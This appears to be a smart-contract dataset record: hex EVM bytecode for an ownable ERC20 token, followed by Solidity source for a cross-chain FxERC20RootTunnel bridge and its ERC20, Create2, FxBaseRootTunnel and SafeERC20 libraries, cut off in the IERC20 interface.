0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610278578063a9059cbb146102a8578063dd62ed3e146102d8578063f2fde38b14610308576100f5565b806370a0823114610202578063715018a6146102325780638da5cb5b1461023c57806395d89b411461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780635c975abb146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610324565b60405161010f9190611068565b60405180910390f35b610132600480360381019061012d9190611123565b6103b6565b60405161013f919061117e565b60405180910390f35b6101506103d4565b60405161015d91906111a8565b60405180910390f35b610180600480360381019061017b91906111c3565b6103de565b60405161018d919061117e565b60405180910390f35b61019e6104df565b6040516101ab9190611232565b60405180910390f35b6101ce60048036038101906101c99190611123565b6104e8565b6040516101db919061117e565b60405180910390f35b6101ec610594565b6040516101f9919061117e565b60405180910390f35b61021c6004803603810190610217919061124d565b6105aa565b60405161022991906111a8565b60405180910390f35b61023a6105f3565b005b61024461072d565b6040516102519190611289565b60405180910390f35b610262610756565b60405161026f9190611068565b60405180910390f35b610292600480360381019061028d9190611123565b6107e8565b60405161029f919061117e565b60405180910390f35b6102c260048036038101906102bd9190611123565b6108dc565b6040516102cf919061117e565b60405180910390f35b6102f260048036038101906102ed91906112a4565b6108fa565b6040516102ff91906111a8565b60405180910390f35b610322600480360381019061031d919061124d565b610981565b005b60606004805461033390611313565b80601f016020809104026020016040519081016040528092919081815260200182805461035f90611313565b80156103ac5780601f10610381576101008083540402835291602001916103ac565b820191906000526020600020905b81548152906001019060200180831161038f57829003601f168201915b5050505050905090565b60006103ca6103c3610b2a565b8484610b32565b6001905092915050565b6000600354905090565b60006103eb848484610d48565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610436610b2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ad906113b7565b60405180910390fd5b6104d3856104c2610b2a565b85846104ce9190611406565b610b32565b60019150509392505050565b60006012905090565b600061058a6104f5610b2a565b848460026000610503610b2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610585919061143a565b610b32565b6001905092915050565b60008060149054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105fb610b2a565b73ffffffffffffffffffffffffffffffffffffffff1661061961072d565b73ffffffffffffffffffffffffffffffffffffffff161461066f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610666906114dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461076590611313565b80601f016020809104026020016040519081016040528092919081815260200182805461079190611313565b80156107de5780601f106107b3576101008083540402835291602001916107de565b820191906000526020600020905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b600080600260006107f7610b2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ab9061156e565b60405180910390fd5b6108d16108bf610b2a565b8585846108cc9190611406565b610b32565b600191505092915050565b60006108f06108e9610b2a565b8484610d48565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610989610b2a565b73ffffffffffffffffffffffffffffffffffffffff166109a761072d565b73ffffffffffffffffffffffffffffffffffffffff16146109fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f4906114dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6490611600565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ba2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9990611692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611724565b60405180910390fd5b80610c1c846105aa565b1015610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c54906117b6565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d3b91906111a8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610daf90611848565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1f906118da565b60405180910390fd5b610e33838383610fca565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb19061196c565b60405180910390fd5b8181610ec69190611406565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f58919061143a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fbc91906111a8565b60405180910390a350505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611009578082015181840152602081019050610fee565b83811115611018576000848401525b50505050565b6000601f19601f8301169050919050565b600061103a82610fcf565b6110448185610fda565b9350611054818560208601610feb565b61105d8161101e565b840191505092915050565b60006020820190508181036000830152611082818461102f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110ba8261108f565b9050919050565b6110ca816110af565b81146110d557600080fd5b50565b6000813590506110e7816110c1565b92915050565b6000819050919050565b611100816110ed565b811461110b57600080fd5b50565b60008135905061111d816110f7565b92915050565b6000806040838503121561113a5761113961108a565b5b6000611148858286016110d8565b92505060206111598582860161110e565b9150509250929050565b60008115159050919050565b61117881611163565b82525050565b6000602082019050611193600083018461116f565b92915050565b6111a2816110ed565b82525050565b60006020820190506111bd6000830184611199565b92915050565b6000806000606084860312156111dc576111db61108a565b5b60006111ea868287016110d8565b93505060206111fb868287016110d8565b925050604061120c8682870161110e565b9150509250925092565b600060ff82169050919050565b61122c81611216565b82525050565b60006020820190506112476000830184611223565b92915050565b6000602082840312156112635761126261108a565b5b6000611271848285016110d8565b91505092915050565b611283816110af565b82525050565b600060208201905061129e600083018461127a565b92915050565b600080604083850312156112bb576112ba61108a565b5b60006112c9858286016110d8565b92505060206112da858286016110d8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061132b57607f821691505b6020821081141561133f5761133e6112e4565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006113a1602883610fda565b91506113ac82611345565b604082019050919050565b600060208201905081810360008301526113d081611394565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611411826110ed565b915061141c836110ed565b92508282101561142f5761142e6113d7565b5b828203905092915050565b6000611445826110ed565b9150611450836110ed565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611485576114846113d7565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114c6602083610fda565b91506114d182611490565b602082019050919050565b600060208201905081810360008301526114f5816114b9565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611558602583610fda565b9150611563826114fc565b604082019050919050565b600060208201905081810360008301526115878161154b565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006115ea602683610fda565b91506115f58261158e565b604082019050919050565b60006020820190508181036000830152611619816115dd565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061167c602483610fda565b915061168782611620565b604082019050919050565b600060208201905081810360008301526116ab8161166f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061170e602283610fda565b9150611719826116b2565b604082019050919050565b6000602082019050818103600083015261173d81611701565b9050919050565b7f417070726f76656420616d6f756e742073686f756c642062652067726561746560008201527f72206f7220657175616c20746f2062616c616e636520616d6f756e7400000000602082015250565b60006117a0603c83610fda565b91506117ab82611744565b604082019050919050565b600060208201905081810360008301526117cf81611793565b9050919050565b7f455243323032303a207472616e736665722066726f6d20746865207a65726f2060008201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b6000611832602783610fda565b915061183d826117d6565b604082019050919050565b6000602082019050818103600083015261186181611825565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118c4602383610fda565b91506118cf82611868565b604082019050919050565b600060208201905081810360008301526118f3816118b7565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611956602683610fda565b9150611961826118fa565b604082019050919050565b6000602082019050818103600083015261198581611949565b905091905056fea2646970667358221220d3b971e379df7da7a96eac522fe268816c4208d499fd343d737947ff979d143a64736f6c634300080a0033
[ 38 ]
0xF1D80Ecb5de086b197EB2683513A3Da4061F0102
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {ERC20} from "../../lib/ERC20.sol"; import {Create2} from "../../lib/Create2.sol"; import {FxBaseRootTunnel} from "../../tunnel/FxBaseRootTunnel.sol"; import {SafeERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /** * @title FxERC20RootTunnel */ contract FxERC20RootTunnel is FxBaseRootTunnel, Create2 { using SafeERC20 for IERC20; // maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4 bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); event TokenMappedERC20(address indexed rootToken, address indexed childToken); event FxWithdrawERC20( address indexed rootToken, address indexed childToken, address indexed userAddress, uint256 amount ); event FxDepositERC20( address indexed rootToken, address indexed depositor, address indexed userAddress, uint256 amount ); mapping(address => address) public rootToChildTokens; bytes32 public childTokenTemplateCodeHash; constructor( address _checkpointManager, address _fxRoot, address _fxERC20Token ) FxBaseRootTunnel(_checkpointManager, _fxRoot) { // compute child token template code hash childTokenTemplateCodeHash = keccak256(minimalProxyCreationCode(_fxERC20Token)); } /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers * @param rootToken address of token on root chain */ function mapToken(address rootToken) public { // check if token is already mapped require(rootToChildTokens[rootToken] == address(0x0), "FxERC20RootTunnel: ALREADY_MAPPED"); // name, symbol and decimals ERC20 rootTokenContract = ERC20(rootToken); string memory name = rootTokenContract.name(); string memory symbol = rootTokenContract.symbol(); uint8 decimals = rootTokenContract.decimals(); // MAP_TOKEN, encode(rootToken, name, symbol, decimals) bytes memory message = abi.encode(MAP_TOKEN, abi.encode(rootToken, name, symbol, decimals)); _sendMessageToChild(message); // compute child token address before deployment using create2 bytes32 salt = keccak256(abi.encodePacked(rootToken)); address childToken = computedCreate2Address(salt, childTokenTemplateCodeHash, fxChildTunnel); // add into mapped tokens rootToChildTokens[rootToken] = childToken; emit TokenMappedERC20(rootToken, childToken); } function deposit( address rootToken, address user, uint256 amount, bytes memory data ) public { // map token if not mapped if (rootToChildTokens[rootToken] == address(0x0)) { mapToken(rootToken); } // transfer from depositor to this contract IERC20(rootToken).safeTransferFrom( msg.sender, // depositor address(this), // manager contract amount ); // DEPOSIT, encode(rootToken, depositor, user, amount, extra data) bytes memory message = abi.encode(DEPOSIT, abi.encode(rootToken, msg.sender, user, amount, data)); _sendMessageToChild(message); emit FxDepositERC20(rootToken, msg.sender, user, amount); } // exit processor function _processMessageFromChild(bytes memory data) internal override { (address rootToken, address childToken, address to, uint256 amount) = abi.decode( data, (address, address, address, uint256) ); // validate mapping for root to child require(rootToChildTokens[rootToken] == childToken, "FxERC20RootTunnel: INVALID_MAPPING_ON_EXIT"); // transfer from tokens to IERC20(rootToken).safeTransfer(to, amount); emit FxWithdrawERC20(rootToken, childToken, to, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC20} from "./IERC20.sol"; import {SafeMath} from "./SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance") ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero") ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupMetaData( string memory name_, string memory symbol_, uint8 decimals_ ) internal virtual { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Create2 adds common methods for minimal proxy with create2 abstract contract Create2 { // creates clone using minimal proxy function createClone(bytes32 _salt, address _target) internal returns (address _result) { bytes20 _targetBytes = bytes20(_target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), _targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) _result := create2(0, clone, 0x37, _salt) } require(_result != address(0), "Create2: Failed on minimal deploy"); } // get minimal proxy creation code function minimalProxyCreationCode(address logic) internal pure returns (bytes memory) { bytes10 creation = 0x3d602d80600a3d3981f3; bytes10 prefix = 0x363d3d373d3d3d363d73; bytes20 targetBytes = bytes20(logic); bytes15 suffix = 0x5af43d82803e903d91602b57fd5bf3; return abi.encodePacked(creation, prefix, targetBytes, suffix); } // get computed create2 address function computedCreate2Address( bytes32 salt, bytes32 bytecodeHash, address deployer ) public pure returns (address) { bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash)); return address(uint160(uint256(_data))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {RLPReader} from "../lib/RLPReader.sol"; import {MerklePatriciaProof} from "../lib/MerklePatriciaProof.sol"; import {Merkle} from "../lib/Merkle.sol"; import "../lib/ExitPayloadReader.sol"; interface IFxStateSender { function sendMessageToChild(address _receiver, bytes calldata _data) external; } contract ICheckpointManager { struct HeaderBlock { bytes32 root; uint256 start; uint256 end; uint256 createdAt; address proposer; } /** * @notice mapping of checkpoint header numbers to block details * @dev These checkpoints are submited by plasma contracts */ mapping(uint256 => HeaderBlock) public headerBlocks; } abstract contract FxBaseRootTunnel { using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using ExitPayloadReader for bytes; using ExitPayloadReader for ExitPayloadReader.ExitPayload; using ExitPayloadReader for ExitPayloadReader.Log; using ExitPayloadReader for ExitPayloadReader.LogTopics; using ExitPayloadReader for ExitPayloadReader.Receipt; // keccak256(MessageSent(bytes)) bytes32 public constant SEND_MESSAGE_EVENT_SIG = 0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036; // state sender contract IFxStateSender public fxRoot; // root chain manager ICheckpointManager public checkpointManager; // child tunnel contract which receives and sends messages address public fxChildTunnel; // storage to avoid duplicate exits mapping(bytes32 => bool) public processedExits; constructor(address _checkpointManager, address _fxRoot) { checkpointManager = ICheckpointManager(_checkpointManager); fxRoot = IFxStateSender(_fxRoot); } // set fxChildTunnel if not set already function setFxChildTunnel(address _fxChildTunnel) public { require(fxChildTunnel == address(0x0), "FxBaseRootTunnel: CHILD_TUNNEL_ALREADY_SET"); fxChildTunnel = _fxChildTunnel; } /** * @notice Send bytes message to Child Tunnel * @param message bytes message that will be sent to Child Tunnel * some message examples - * abi.encode(tokenId); * abi.encode(tokenId, tokenMetadata); * abi.encode(messageType, messageData); */ function _sendMessageToChild(bytes memory message) internal { fxRoot.sendMessageToChild(fxChildTunnel, message); } function _validateAndExtractMessage(bytes memory inputData) internal returns (bytes memory) { ExitPayloadReader.ExitPayload memory payload = inputData.toExitPayload(); bytes memory branchMaskBytes = payload.getBranchMaskAsBytes(); uint256 blockNumber = payload.getBlockNumber(); // checking if exit has already been processed // unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) bytes32 exitHash = keccak256( abi.encodePacked( blockNumber, // first 2 nibbles are dropped while generating nibble array // this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) // so converting to nibble array and then hashing it MerklePatriciaProof._getNibbleArray(branchMaskBytes), payload.getReceiptLogIndex() ) ); require(processedExits[exitHash] == false, "FxRootTunnel: EXIT_ALREADY_PROCESSED"); processedExits[exitHash] = true; ExitPayloadReader.Receipt memory receipt = payload.getReceipt(); ExitPayloadReader.Log memory log = receipt.getLog(); // check child tunnel require(fxChildTunnel == log.getEmitter(), "FxRootTunnel: INVALID_FX_CHILD_TUNNEL"); bytes32 receiptRoot = payload.getReceiptRoot(); // verify receipt inclusion require( MerklePatriciaProof.verify(receipt.toBytes(), branchMaskBytes, payload.getReceiptProof(), receiptRoot), "FxRootTunnel: INVALID_RECEIPT_PROOF" ); // verify checkpoint inclusion _checkBlockMembershipInCheckpoint( blockNumber, payload.getBlockTime(), payload.getTxRoot(), receiptRoot, payload.getHeaderNumber(), payload.getBlockProof() ); ExitPayloadReader.LogTopics memory topics = log.getTopics(); require( bytes32(topics.getField(0).toUint()) == SEND_MESSAGE_EVENT_SIG, // topic0 is event sig "FxRootTunnel: INVALID_SIGNATURE" ); // received message data bytes memory message = abi.decode(log.getData(), (bytes)); // event decodes params again, so decoding bytes to get message return message; } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { (bytes32 headerRoot, uint256 startBlock, , uint256 createdAt, ) = checkpointManager.headerBlocks(headerNumber); require( keccak256(abi.encodePacked(blockNumber, blockTime, txRoot, receiptRoot)).checkMembership( blockNumber - startBlock, headerRoot, blockProof ), "FxRootTunnel: INVALID_HEADER" ); return createdAt; } /** * @notice receive message from L2 to L1, validated by proof * @dev This function verifies if the transaction actually happened on child chain * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function receiveMessage(bytes memory inputData) public virtual { bytes memory message = _validateAndExtractMessage(inputData); _processMessageFromChild(message); } /** * @notice Process message received from Child Tunnel * @dev function needs to be implemented to handle message as per requirement * This is called by onStateReceive function. * Since it is called via a system call, any event will not be emitted during its execution. * @param message bytes message that was sent from Child Tunnel */ function _processMessageFromChild(bytes memory message) internal virtual; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in 